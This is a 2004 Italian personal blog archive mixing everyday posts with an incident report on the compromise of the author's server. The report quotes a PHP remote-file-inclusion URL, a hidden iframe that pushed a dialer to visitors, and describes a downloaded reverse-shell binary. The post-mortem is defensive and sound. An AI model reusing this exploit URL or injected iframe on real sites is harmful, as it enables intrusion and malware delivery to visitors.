Archivio di Marzo 2004

Big pain

@ Mercoledì 31 Marzo 2004 @ 00:00

toilet-pc.jpgMi son beccato una bella gastroenterite, forse virale.
Ora sto meglio, ma sono stato assolutamente fuori combattimento per un paio di giorni.
Febbre a 39°, e altre belle cose che ti fanno fare la spola tra il letto e il gabinetto.

Cicciobaiano Investigation Report…

@ Giovedì 25 Marzo 2004 @ 18:40

sherlock.png…after compromise

Il 10 marzo la macchina che ospita questo sito è stata violata: ecco come…

Scoprirlo non era un compito tanto arduo da richiedere l’intervento del detective di Baker Street.
Lo zio Yurix direbbe: “elementare Giannozzon”. Basta guardare i file di log, e guardarli bene.

Alle ore 15:51:20 CET del 9 marzo 2004 uno script Python (o identificatosi come tale) probabilmente eseguito in automatico, effettuava una strana richiesta alla pagina display.php di questo sito per verificare presumibilmente la vulnerabilità della pagina a un certo tipo di attacco.
La richiesta veniva effettuata dall’host aspiron.ee, apparentemente estone, ma di fatto corrispondente ad un indirizzo IP appartenente alla rete di un provider texano, di Houston, e precisamente Everyones Internet, Inc..
Chiunque avesse lanciato lo script non si è fatto aspettare: il giorno dopo, 10 marzo 2004, a partire dalle 09:38:58 CET e fino alle 09:47:10 CET qualcuno ha effettuato varie richieste simili alla pagina vulnerabile con il preciso scopo di violare la sicurezza di cicciobaiano. Questa volta si è collegato da un diverso host, ma sempre dello stesso provider texano (di merda).

La pagina display.php includeva (come si usa fare comunemente in php) file esterni, il cui percorso veniva passato, per comodità e grazie a un colpo di genio del sottoscritto degno di Forrest Gump, come parametro in querystring. Avevo previsto, per sicurezza, di limitare l’uso di file php da includere ad una certa cartella del filesystem, ma non avevo previsto che potessero essere inclusi anche file esterni scaricati dalla pagina tramite http.
La chiamata della pagina vulnerabile da parte del cracker appare in questo modo:

http://manetti.homelinux.com/~maurizio/display.php?module=http://madcru.tripod.com/2

Questo ha consentito al presunto cracker texano di far eseguire all’interno della mia pagina il codice PHP reperibile all’indirizzo http://madcru.tripod.com/2.php ospitato sui server di Tripod, celebre sito di hosting gratuito (adesso rimosso dai gestori di Tripod per ovvi motivi).
In questa piccola ma efficace pagina era presente il codice sufficiente a presentare una form (all’interno del mio sito) attraverso la quale potevano essere eseguiti comandi di shell arbitrari. Ovviamente tali comandi venivano eseguiti con i permessi dell’utente non privilegiato www-data. Ma ciò è stato sufficiente.
Il cracker ha effettuato tre soli comandi, e gli sono bastati.
Con il primo ha scaricato via http, tramite wget, un file reperibile su un sito britannico compromesso, probabilmente dallo stesso cracker, di cui ho provveduto ad avvertire i gestori. Tale file è stato scaricato con il nome di a.out in /tmp. Si tratta di un ELF binary.
La seconda chiamata della pagina è probabilmente servita al cracker texano per eseguire il programma scaricato.
Con la terza sembra aver riavviato il web server Apache.
Ma ovviamente ad ogni chiamata potrebbero essere stati eseguiti più comandi. I contenuti delle richieste di tipo POST purtroppo non vengono loggati.

Che cosa fa il programmino a.out di appena 17KB?
Ci tornerò tra un attimo.

Il programma malevolo è stato scaricato alle 09:39:20 CET del 10 marzo 2004.
Alle 09:42:55 CET è stata cambiata la password dell’utente di sistema mysql.
Non ho idea del perché. Non sono stati cambiati dati sul database mysql.
Però sembra sia stata modificata la libreria mysql.so, utilizzata dal php per interfacciarsi al database.
Altro danno, non visibile dai log, è stato la modifica del file di configurazione /etc/php4/apache/php.ini, con modifica degli attributi, tramite chattr, per rendere immutabile il file.

La conseguenza di questa serie di cosine simpatiche è stata di fatto quella di far comparire un codice HTML sulle pagine di questo sito, codice volto a far scaricare un dialer per pornografia ai visitatori del sito muniti di Microsoft Internet Explorer. Tale codice è rimasto attivo almeno fino a mezzanotte, quando sono riuscito a reinstallare da zero il PHP, senza però averci capito molto.

Com’è riuscito a fare tutto ciò il bastardo cracker texano?
In primo luogo grazie all’arguzia del sottoscritto che ha messo a disposizione del mondo una pagina per l’esecuzione di comandi di bash su cicciobaiano. In secondo luogo tramite il programmino scaricato e lanciato dall’utente www-data.

Ecco cosa mi succedeva lanciando un semplice ls -l

<1>Unable to handle kernel NULL pointer dereference at virtual address
					00000000
printing eip:
00000000
*pde = 00000000
Oops: 0000
CPU:    0
EIP:    0010:[<00000000>]    Tainted: P
EFLAGS: 00010293
eax: 00000109   ebx: c78a2000   ecx: bfffdc20   edx: 00000018
esi: 00000016   edi: ffffffff   ebp: bfffdbf8   esp: c78a3fc0
ds: 0018   es: 0018   ss: 0018
Process ls (pid: 32274, stackpage=c78a3000)
Stack: c0106f47 00000000 bfffdc20 40023214 00000016 ffffffff bfffdbf8
					00000109
        0000002b 0000002b 00000109 40020e46 00000023 00000256 bfffdbdc
					0000002b
Call Trace:    [system_call+51/56]

Code:  Bad EIP value.

Il kernel non stava bene, soffriva le pene, ma più il problema non si pone.

Il programmino malevolo deve essere lanciato con due parametri che sono l’indirizzo IP e la porta di un host esterno col quale tenta di stabilire una connessione.
Se l’host remoto è in ascolto su quella porta del TCP il programma stabilisce una connessione e presenta all’altro capo della connessione il seguente output (ho provato usando netcat)

Fuck you so
sh-2.05b$

Dove sh-2.05b$ è il prompt di una shell. Però su questa shell si continua a essere loggati come l’utente che ha eseguito il programma dall’altro lato della connessione, quindi non so poi come abbia fatto a fare tutto il resto. Cioè, una volta avuto accesso ad una shell vera e propria, è riuscito a sfruttare qualche altra vulnerabilità del sistema per ottenere privilegi di root, ma non so quale.

Le contromisure per ora adottate sono state:

  1. formattazione e reinstallazione del sistema
  2. passaggio a Debian stable
  3. aggiornamento del kernel all’ultima versione
  4. correzione alla pagina php vulnerabile e controllo di simili vulnerabilità in altre pagine
  5. installazione di strumenti di intrusion detection quali AIDE e Tiger
  6. mounting leggermente più attento delle partizioni
  7. mail di segnalazione abuse al provider texano

Comunque l’hardening del sistema è appena cominciato :)

Hamster Name Contest: fase conclusiva

@ Lunedì 22 Marzo 2004 @ 14:00

L’Hamster Name Contest si avvia alla sua fase conclusiva: le candidature sono state raccolte.Adesso spetta a te scegliere una coppia di nomi fra quelli proposti.

Vota subito »

Mi sono entrati nel baugigi (2)

@ Giovedì 11 Marzo 2004 @ 17:10

Scoperto, grazie al prezioso contributo dello zio Yurix, da dove mi sono entrati.
Trattasi di una splendida pagina PHP piuttosto a rischio che ho scritto io personalmente e grazie alla quale potrò vantarmi di essere un grande sviluppatore web, parecchio attento alla sicurezza… fa molto curriculum.
Ancora non le so tutte le belle cose che possono aver fatto al mio ciccino…

Mi sono entrati nel baugigi

@ Giovedì 11 Marzo 2004 @ 14:35

madpenguin.pngIeri, verso le 15 e 30, dopo aver chattato con Frau Blücher (alias Edo), dando un’occhiata al sito mi sono accorto che appariva uno strano quadratino in basso nella pagina.
Guardando il sorgente, con malcelato disgusto ho notato che, alla fine della pagina, compariva il seguente codice:

<IFRAME SRC="http://www.forced-action.com/?d=get"
WIDTH=1 HEIGHT=1></IFRAME>

Panico e raccapriccio!!.
Il frame in questione, aggiunto non già alle pagine vere e proprie del sito, ma ottenuto modificando il PHP stesso, tenta di scaricare un dialer per Windows. Cioè in pratica, chiunque avesse visitato il mio sito con Internet Explorer sarebbe stato sottoposto a questo rischio. Naturalmente www.forced-action.com è un sito porno.
La cosa ora l’ho sistemata, togliendo di brutto tutto il software per il PHP e reinstallandolo, e aggiornando completamente tutto il sistema a cicciobaiano.
Profetico fu Lorex: qui l’australiano lo aveva previsto!!
Mica sarà stato lui?
Un sacco di gente sembra aver avuto problemi simili al mio, ma ancora non ho capito se si è trattato di un baco del PHP sfrutatto in qualche modo, oppure se mi sono entrati proprio a spregio su cicciobaiano e ci si sono accampati. Rootkit non sembrano essercene, però la situazione non è bella.
Per il momento so solo che mi girano (le balle).

Masterizzare i DVD… su Linux (3)

@ Lunedì 8 Marzo 2004 @ 15:50

tuxdvd.gifSon giunto oramai alla terza puntata. Questa volta con una certa soddisfazione.
Ho acquistato un masterizzatore DVD Dual della BTC all’IperCoop di Lastra a Signa. Si tratta in particolare di questo modello: il masterizzatore DRW 1008IM.
L’uso di Debian unstable mi ha consentito di avere subito a disposizione il software necessario in forma binaria, senza dovermi preoccupare del fatto che, ad esempio, cdrecord-prodvd, l’estensione del popolare programma cdrecord per la masterizzazione dei DVD, non è opensource.
Un’informazione che non conoscevo: i 4,7 GB di capacità sono un’autentica menzogna, nel senso che vengono considerati GB di 109 byte, non autentici GB di 230 byte. In altre parole, un DVD vergine da 4,7 GB può contenere effettivamente solo 4,377 GB o 4.482 MB.
La masterizzazione di DVD dati è stata uno scherzo. Non me l’aspettavo. Si usa semplicemente il comando growisofs, incluso nel pacchetto dvd+rw-tools. Il programma ha una serie di opzioni specifiche, più le opzioni che possono essere passate al mkisofs. Di conseguenza è immediato masterizzare il contenuto di una directory al volo. Ho provato anche dvdrecord (un’altra estensione di cdrecord) ma non mi ha funzionato. growisofs è incluso anche nel pacchetto dvdplusrw della stable. Devo ricordarmi di provarlo al lavoro.
L’impresa assai più complicata è stata la creazione di un DVD video a partire da un DivX. Sono diventato scemo. Poi alla fine ce l’ho fatta, seguendo un prezioso tutorial che segnalo e a cui ho contribuito con alcune piccolissime aggiunte. Il problema è stato poi rileggere il DVD con i lettori DVD stand-alone di casa, che si sono un po’ rifiutati di leggere il mio supporto. Su quattro lettori provati, solo uno ha digerito il mio disco, e sulle prime nemmeno tanto bene. Mah? Ho provato con un DVD-R, ma mi dicono che, per quanto riguarda la compatibilità dei supporti, specialmente con i lettori stand-alone, l’è banda.
Attendo consigli e commenti

DivX2DVD with Linux: ottimo tutorial »

Macchine e suoni

@ Venerdì 5 Marzo 2004 @ 00:00

theremin.gifIn questi giorni dice (pare) ci siano ben due festival musicali/canori in Italia. C’è l’antico Festival della canzone italiana a San Remo e c’è il neonato Mantova Musica Festival.
Per tutta la settimana a Golem (trasmissione radiofonica di Radio Rai 1) si è parlato di suoni alternativi: Metafonia, O Telephone, Macchine d’evocazione, Stampanti riesumate e riadattate come strumenti musicali, Liposuzione in musica, Theremin, e per finire, the Fart Machine, la macchina per produrre score artificiali.

Golem di marzo »

Roger Rabbit incastrato dai giudici comunisti

@ Giovedì 4 Marzo 2004 @ 15:20

berlurabbit.jpgForse è un po’ vecchio.
Nel senso che questo sito che vi segnalo esiste da parecchio tempo e magari molti dei miei visitatori abituali lo conoscono già.
Comunque vale la pena di dargli un’occhiata, è proprio un bel sitino satirico in cui finalmente si scopre, tra le altre cose, la verità su chi ha davvero incastrato Roger Rabbit: ma sono i giudici comunisti!!
Ovvio, no?
Naturalmente un invito anche a visitare il sito (questo ahimé serio) del
Silvio Berlusconi Fans Club ».

Governo Italiano Unofficial Fans Club »

Hamster Name Contest

@ Mercoledì 3 Marzo 2004 @ 00:00

criceto.jpgÈ giunto finalmente il momento di dare il nome a questi du’ topi.
Le sympatiche creature, prezioso dono dell’Annalisa, albergano ormai da oltre una settimana nella gabbietta a casa mia. Il sospetto è che la coppia di criceti russi (ambedue maschi) porti un po’ sfiga ai vari elettrodomestici di casa, visto che da quando ci sono loro si sono rotti, nell’ordine: la caldaia, la lavatrice e il coperchio della cucina. Comunque cacano a dismisura e di notte trasformano la gabbietta in un autentico circo.
Manca il nome. Partecipa al grande concorso Hamster Name Contest: dai un nome ai criceti. Lascia un commento prezioso: suggerisci una coppia di nomi, poi, come proposto da Luca, si farà un bel sondaggino per votare la coppia di nomi più gradita. A chi ha proposto i nomi vincenti, sarà assegnata in premio … una bella sorpresa!!
Che nomi dare? Potete ispirarvi ai grandi del passato, agli attori comici, ai grandi duo, ai personaggi mitologici. Potete inventare di sana pianta. Fate vobis!!

Proponi una bella coppia di nomi »

Indispensabile

@ Martedì 2 Marzo 2004 @ 00:00

Segnalato da Mapi:

non facce nuove, idee chiare